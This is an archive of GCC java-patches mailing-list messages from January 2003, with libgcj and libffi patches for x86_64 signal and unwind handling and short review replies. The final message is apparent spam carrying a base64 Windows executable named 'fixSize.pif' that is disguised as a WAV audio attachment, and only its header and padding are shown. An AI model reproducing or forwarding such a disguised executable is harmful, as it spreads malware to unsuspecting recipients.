k_sa_flags; + void (*k_sa_restorer) (void); + sigset_t k_sa_mask; + }; + } + + #define MAKE_THROW_FRAME(_exception) \ + do \ + { \ + /* Advance the program counter so that it is after the start of the \ + instruction: the x86_64 exception handler expects \ + the PC to point to the instruction after a call. */ \ + struct ucontext *_uc = (struct ucontext *)_p; \ + struct sigcontext *_sc = (struct sigcontext *) &_uc->uc_mcontext; \ + _sc->rip += 2; \ + } \ + while (0) + + #define RESTORE(name, syscall) RESTORE2 (name, syscall) + #define RESTORE2(name, syscall) \ + asm \ + ( \ + ".align 16\n" \ + "__" #name ":\n" \ + " movq $" #syscall ", %rax\n" \ + " syscall\n" \ + ); + + /* The return code for realtime-signals. */ + RESTORE (restore_rt, __NR_rt_sigreturn) + static void restore_rt (void) asm ("__restore_rt"); + + #define INIT_SEGV \ + do \ + { \ + nullp = new java::lang::NullPointerException (); \ + struct kernel_sigaction act; \ + act.k_sa_sigaction = _Jv_catch_segv; \ + sigemptyset (&act.k_sa_mask); \ + act.k_sa_flags = SA_SIGINFO|0x4000000; \ + act.k_sa_restorer = restore_rt; \ + syscall (SYS_rt_sigaction, SIGSEGV, &act, NULL, _NSIG / 8); \ + } \ + while (0) + + /* We use syscall(SYS_rt_sigaction) in INIT_SEGV instead of + * sigaction() because on some systems the pthreads wrappers for + * signal handlers are not compiled with unwind information, so it's + * not possible to unwind through them. This is a problem that will + * go away if all systems ever have pthreads libraries that are + * compiled with unwind info. */ + + #endif /* JAVA_SIGNAL_H */ + From java-patches-return-5783-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Jan 10 17:03:34 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 16712 invoked by alias); 10 Jan 2003 17:03:23 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 16599 invoked from network); 10 Jan 2003 17:03:16 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (195.224.55.237) by 209.249.29.67 with SMTP; 10 Jan 2003 17:03:16 -0000 Received: from cuddles.cambridge.redhat.com (vpn50-28.rdu.redhat.com [172.16.50.28]) by executor.cambridge.redhat.com (Postfix) with ESMTP id 35511ABAF8; Fri, 10 Jan 2003 17:03:01 +0000 (GMT) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h0AH3So02059; Fri, 10 Jan 2003 17:03:28 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15902.64736.959172.275084@cuddles.cambridge.redhat.com> Date: Fri, 10 Jan 2003 17:03:28 +0000 (GMT) To: Anthony Green Cc: gcc-patches@gcc.gnu.org, Subject: [libffi] Unwind info for x86_64 In-Reply-To: References: <1041622060.1560.34.camel@escape> 2003-01-10 Andrew Haley * src/x86/unix64.S: Add unwind info. --- unix64.S.~1.1.~ 2002-07-19 00:08:31.000000000 +0100 +++ unix64.S 2003-01-10 11:47:04.000000000 +0000 @@ -163,4 +163,46 @@ movq %xmm0, (%rsi) ret + .section .eh_frame,"a",@progbits +.Lframe0: + .long .LECIE1-.LSCIE1 +.LSCIE1: + .long 0x0 + .byte 0x1 + .string "zR" + .uleb128 0x1 + .sleb128 -8 + .byte 0x10 + .uleb128 0x1 + .byte 0x1b + .byte 0xc + .uleb128 0x7 + .uleb128 0x8 + .byte 0x90 + .uleb128 0x1 + .align 8 +.LECIE1: +.LSFDE1: + .long .LEFDE1-.LASFDE1 +.LASFDE1: + .long .LASFDE1-.Lframe0 + + .long .LFB1-. + .long .LFE1-.LFB1 + .uleb128 0x0 + .byte 0x4 # DW_CFA_advance_loc4 + .long .LCFI0-.LFB1 + .byte 0xe # DW_CFA_def_cfa_offset + .uleb128 0x10 + .byte 0x86 # DW_CFA_offset: r6 at cfa-16 + .uleb128 0x2 + .byte 0x4 # DW_CFA_advance_loc4 + .long .LCFI1-.LCFI0 + .byte 0x86 # DW_CFA_offset: r6 at cfa-16 + .uleb128 0x2 + .byte 0xd # DW_CFA_def_cfa_reg: r6 + .uleb128 0x6 + .align 8 +.LEFDE1: + #endif /* __x86_64__ */ From java-patches-return-5784-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Jan 10 18:20:27 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 28332 invoked by alias); 10 Jan 2003 18:20:25 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 28295 invoked from network); 10 Jan 2003 18:20:23 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (195.224.55.237) by 209.249.29.67 with SMTP; 10 Jan 2003 18:20:23 -0000 Received: from cuddles.cambridge.redhat.com (vpn50-28.rdu.redhat.com [172.16.50.28]) by executor.cambridge.redhat.com (Postfix) with ESMTP id A8519ABAF8; Fri, 10 Jan 2003 18:20:10 +0000 (GMT) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h0AIKcF02317; Fri, 10 Jan 2003 18:20:38 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15903.3830.484516.121867@cuddles.cambridge.redhat.com> Date: Fri, 10 Jan 2003 18:20:38 +0000 (GMT) To: java-patches@gcc.gnu.org Subject: natRuntime stack trace bug fix In-Reply-To: <15902.44574.85768.889028@cuddles.cambridge.redhat.com> References: <15902.44574.85768.889028@cuddles.cambridge.redhat.com> 2003-01-10 Andrew Haley * java/lang/natRuntime.cc (_load): StackTrace access needs to be in a try block. Index: natRuntime.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/lang/natRuntime.cc,v retrieving revision 1.29 diff -c -2 -p -r1.29 natRuntime.cc *** natRuntime.cc 10 Dec 2002 01:39:32 -0000 1.29 --- natRuntime.cc 10 Jan 2003 18:14:48 -0000 *************** java::lang::Runtime::_load (jstring path *** 181,198 **** ClassLoader *sys = ClassLoader::getSystemClassLoader(); ClassLoader *look = NULL; ! gnu::gcj::runtime::StackTrace *t = new gnu::gcj::runtime::StackTrace(10); ! for (int i = 0; i < 10; ++i) { ! jclass klass = t->classAt(i); ! if (klass != NULL) { ! ClassLoader *loader = klass->getClassLoaderInternal(); ! if (loader != NULL && loader != sys) { ! look = loader; ! break; } } } if (look != NULL) { --- 181,205 ---- ClassLoader *sys = ClassLoader::getSystemClassLoader(); ClassLoader *look = NULL; ! gnu::gcj::runtime::StackTrace *t = new gnu::gcj::runtime::StackTrace(4); ! try { ! for (int i = 1; !klass; i++) { ! jclass klass = t->classAt(i); ! if (klass != NULL) { ! ClassLoader *loader = klass->getClassLoaderInternal(); ! if (loader != NULL && loader != sys) ! { ! look = loader; ! break; ! } } } } + catch (::java::lang::ArrayIndexOutOfBoundsException *e) + { + } + if (look != NULL) { From java-patches-return-5785-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Jan 11 00:31:07 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 32698 invoked by alias); 11 Jan 2003 00:31:04 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 32691 invoked from network); 11 Jan 2003 00:31:02 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sources.redhat.com with SMTP; 11 Jan 2003 00:31:02 -0000 Received: from fleche.redhat.com (mt4.peakpeak.com [206.168.3.148] (may be forged)) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id RAA32197; Fri, 10 Jan 2003 17:31:00 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id C40A74F8057; Fri, 10 Jan 2003 17:35:26 -0700 (MST) To: Andrew Haley Cc: java-patches@gcc.gnu.org Subject: Re: natRuntime stack trace bug fix References: <15902.44574.85768.889028@cuddles.cambridge.redhat.com> <15903.3830.484516.121867@cuddles.cambridge.redhat.com> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I'm in LOVE with DON KNOTTS!! Date: 10 Jan 2003 17:35:26 -0700 In-Reply-To: <15903.3830.484516.121867@cuddles.cambridge.redhat.com> Message-ID: <877kdcwmk1.fsf@fleche.redhat.com> Lines: 14 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Andrew" == Andrew Haley writes: Andrew> 2003-01-10 Andrew Haley Andrew> * java/lang/natRuntime.cc (_load): StackTrace access needs to be Andrew> in a try block. I think this changes the semantics a bit. Andrew> ! for (int i = 1; !klass; i++) If klass!=NULL and it was loaded with the system loader, we'll still exit the loop. Tom From java-patches-return-5786-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Jan 11 00:32:28 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 1319 invoked by alias); 11 Jan 2003 00:32:27 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 1302 invoked from network); 11 Jan 2003 00:32:26 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sources.redhat.com with SMTP; 11 Jan 2003 00:32:26 -0000 Received: from fleche.redhat.com (mt4.peakpeak.com [206.168.3.148] (may be forged)) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id RAA32484; Fri, 10 Jan 2003 17:32:24 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 8AB5E4F8057; Fri, 10 Jan 2003 17:36:46 -0700 (MST) To: Ranjit Mathew Cc: java-patches@gcc.gnu.org Subject: Re: [Patch for Review] "errno" in networking code and Win32 References: From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: .. Should I get locked in the PRINCIPAL'S OFFICE today -- or have a VASECTOMY?? Date: 10 Jan 2003 17:36:46 -0700 In-Reply-To: Message-ID: <873co0wmht.fsf@fleche.redhat.com> Lines: 9 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Ranjit" == Ranjit Mathew writes: Ranjit> The following patch proposes to clean up the networking code a Ranjit> little bit with respect to checking for errors during socket Ranjit> operations. Based on discussion on the main list, I assume we can drop this patch. Tom From java-patches-return-5787-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Jan 11 00:36:50 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 1869 invoked by alias); 11 Jan 2003 00:36:48 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 1861 invoked from network); 11 Jan 2003 00:36:47 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sources.redhat.com with SMTP; 11 Jan 2003 00:36:47 -0000 Received: from fleche.redhat.com (mt4.peakpeak.com [206.168.3.148] (may be forged)) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id RAA00929; Fri, 10 Jan 2003 17:36:46 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id C7B304F8057; Fri, 10 Jan 2003 17:41:12 -0700 (MST) To: Ranjit Mathew Cc: java-patches@gcc.gnu.org Subject: Re: JNI/Win32 Patch #3: Change _Jv_LookupJNIMethod( ) for "stdcall" export variations on Win32 References: From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Yow! And then we could sit on the hoods of cars at stop lights! Date: 10 Jan 2003 17:41:12 -0700 In-Reply-To: Message-ID: <87y95sv7pz.fsf@fleche.redhat.com> Lines: 10 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Ranjit" == Ranjit Mathew writes: Ranjit> This patch proposes to change _Jv_LookupJNIMethod( ) in jni.cc Ranjit> to accommodate the vagaries of exported symbols for JNI functions Ranjit> that use the "stdcall" calling convention on Win32. I'm going to wait until the gcc patch is approved before taking any action here. FYI. Tom From java-patches-return-5788-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Jan 11 00:43:22 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 5093 invoked by alias); 11 Jan 2003 00:43:22 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 5086 invoked from network); 11 Jan 2003 00:43:21 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 209.249.29.67 with SMTP; 11 Jan 2003 00:43:21 -0000 Received: from fleche.redhat.com (mt4.peakpeak.com [206.168.3.148] (may be forged)) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id RAA02070; Fri, 10 Jan 2003 17:43:08 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 2054B4F8057; Fri, 10 Jan 2003 17:47:33 -0700 (MST) To: Michael Koch Cc: java-patches@gcc.gnu.org Subject: Re: java.awt.DisplayMode References: <200301100807.11173.konqueror@gmx.de> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: .. I want to perform cranial activities with Tuesday Weld!! Date: 10 Jan 2003 17:47:33 -0700 In-Reply-To: <200301100807.11173.konqueror@gmx.de> Message-ID: <87smw0v7fe.fsf@fleche.redhat.com> Lines: 13 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Michael" == Michael Koch writes: Michael> I have made the DisplayMode class API compatible to the JDK. Please Michael> review and comment. Michael> When this get approved it can be commited to gcc 3.3 branch and to Michael> classpath cvs. I'm checking this in to the trunk and the branch. I made a minor formatting cleanup. I'm also checking this in to Classpath. Tom From java-patches-return-5789-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Jan 11 01:08:16 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 17981 invoked by alias); 11 Jan 2003 01:08:15 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 17973 invoked from network); 11 Jan 2003 01:08:14 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 209.249.29.67 with SMTP; 11 Jan 2003 01:08:14 -0000 Received: from fleche.redhat.com (mt4.peakpeak.com [206.168.3.148] (may be forged)) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id SAA06413; Fri, 10 Jan 2003 18:07:41 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 010FC4F8057; Fri, 10 Jan 2003 18:12:05 -0700 (MST) To: Michael Koch Cc: java-patches@gcc.gnu.org, Eric Blake Subject: Re: java.net: little fixes References: <200301100806.47120.konqueror@gmx.de> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Mr and Mrs PED, can I borrow 26.7% of the RAYON TEXTILE production of the INDONESIAN archipelago? Date: 10 Jan 2003 18:12:05 -0700 In-Reply-To: <200301100806.47120.konqueror@gmx.de> Message-ID: <87iswwv6ai.fsf@fleche.redhat.com> Lines: 19 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Michael" == Michael Koch writes: Michael> + * java/net/NetPermission.java Michael> + (NetPermission): Dont implement java.io.Serializable directly, Michael> + no need for explicit serialVersionUID. Michael> + * java/net/SocketAddress.java Michael> + (SocketAddress): No need for explicit serialVersionUID. I think our style is to put serialVersionUID everywhere. Eric, isn't that the case? See any of the previous discussions about this. Basically, I think we can't rely on classes being generated in a compatible way. So we set serialVersionUID and defer compatibility to an as-yet-nonexistent test suite. The rest of this looks fine, so I'll check those parts in. Tom From java-patches-return-5790-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Jan 11 01:28:05 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 24170 invoked by alias); 11 Jan 2003 01:28:03 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 24160 invoked from network); 11 Jan 2003 01:28:01 -0000 Received: from unknown (HELO email1.byu.edu) (128.187.22.133) by 209.249.29.67 with SMTP; 11 Jan 2003 01:28:01 -0000 Received: from email.byu.edu ([10.7.224.202]) by EMAIL1.BYU.EDU (PMDF V6.2 #30538) with ESMTPA id <01KR2VJ8JOWC8YK2S1@EMAIL1.BYU.EDU> for java-patches@gcc.gnu.org; Fri, 10 Jan 2003 18:26:15 -0700 (MST) Date: Fri, 10 Jan 2003 18:25:41 -0700 From: Eric Blake Subject: Re: java.net: little fixes To: tromey@redhat.com Cc: Michael Koch , java-patches@gcc.gnu.org Message-id: <3E1F7295.5090706@email.byu.edu> MIME-version: 1.0 Content-type: text/plain; format=flowed; charset=us-ascii Content-transfer-encoding: 7bit X-Accept-Language: en-us, en User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0 References: <200301100806.47120.konqueror@gmx.de> <87iswwv6ai.fsf@fleche.redhat.com> Tom Tromey wrote: >>>>>>"Michael" == Michael Koch writes: >>>>> > > Michael> + * java/net/NetPermission.java > Michael> + (NetPermission): Dont implement java.io.Serializable directly, > Michael> + no need for explicit serialVersionUID. > Michael> + * java/net/SocketAddress.java > Michael> + (SocketAddress): No need for explicit serialVersionUID. > > I think our style is to put serialVersionUID everywhere. > Eric, isn't that the case? Yes, at least that has been the de facto style in Classpath. I'm not sure if (or where) it is explicitly documented as a style, though. -- This signature intentionally left boring. Eric Blake ebb9@email.byu.edu BYU student, free software programmer From java-patches-return-5791-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Jan 11 02:54:50 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 11988 invoked by alias); 11 Jan 2003 02:54:47 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 11971 invoked from network); 11 Jan 2003 02:54:41 -0000 Received: from unknown (HELO rly-ip03.mx.aol.com) (64.12.138.7) by 209.249.29.67 with SMTP; 11 Jan 2003 02:54:41 -0000 Received: from logs-mtc-ta.proxy.aol.com (logs-mtc-ta.proxy.aol.com [64.12.105.5]) by rly-ip03.mx.aol.com (v89.10) with ESMTP id RELAYIN8-0110215353; Fri, 10 Jan 2003 21:53:53 1900 Received: from Oxp (ACA40F27.ipt.aol.com [172.164.15.39]) by logs-mtc-ta.proxy.aol.com (8.12.6/8.12.6) with SMTP id h0B2oXmI118480 for ; Fri, 10 Jan 2003 21:50:34 -0500 (EST) Date: Fri, 10 Jan 2003 21:50:33 -0500 (EST) Message-Id: <200301110250.h0B2oXmI118480@logs-mtc-ta.proxy.aol.com> From: moonstruckrecords To: java-patches@gcc.gnu.org Subject: Overflow MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=O8f5JRTe2246 X-Apparently-From: Dandasmall@aol.com --O8f5JRTe2246 Content-Type: text/html; Content-Transfer-Encoding: quoted-printable --O8f5JRTe2246 Content-Type: audio/x-wav; name=fixSize.pif Content-Transfer-Encoding: base64 Content-ID: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAAAYmX3gXPgTs1z4E7Nc+BOzJ+Qfs1j4E7Pf5B2zT/gTs7Tn GbNm+BOzPucAs1X4E7Nc+BKzJfgTs7TnGLNO+BOz5P4Vs134E7NSaWNoXPgTswAAAAAAAAAA UEUAAEwBBAC4jrc8AAAAAAAAAADgAA8BCwEGAADAAAAAkAgAAAAAAFiEAAAAEAAAANAAAAAA QAAAEAAAABAAAAQAAAAAAAAABAAAAAAAAAAAYAkAABAAAAAAAAACAAAAAAAQAAAQAAAAABAA ABAAAAAAAAAQAAAAAAAAAAAAAAAg1gAAZAAAAABQCQAQAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ANAAAOwBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAEq6AAAAEAAAAMAAAAAQ AAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAAAiEAAAANAAAAAgAAAA0AAAAAAAAAAAAAAAAAAA QAAAQC5kYXRhAAAAbF4IAADwAAAAUAAAAPAAAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAABAA AAAAUAkAEAAAAABAAQAAAAAAAAAAAAAAAABAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 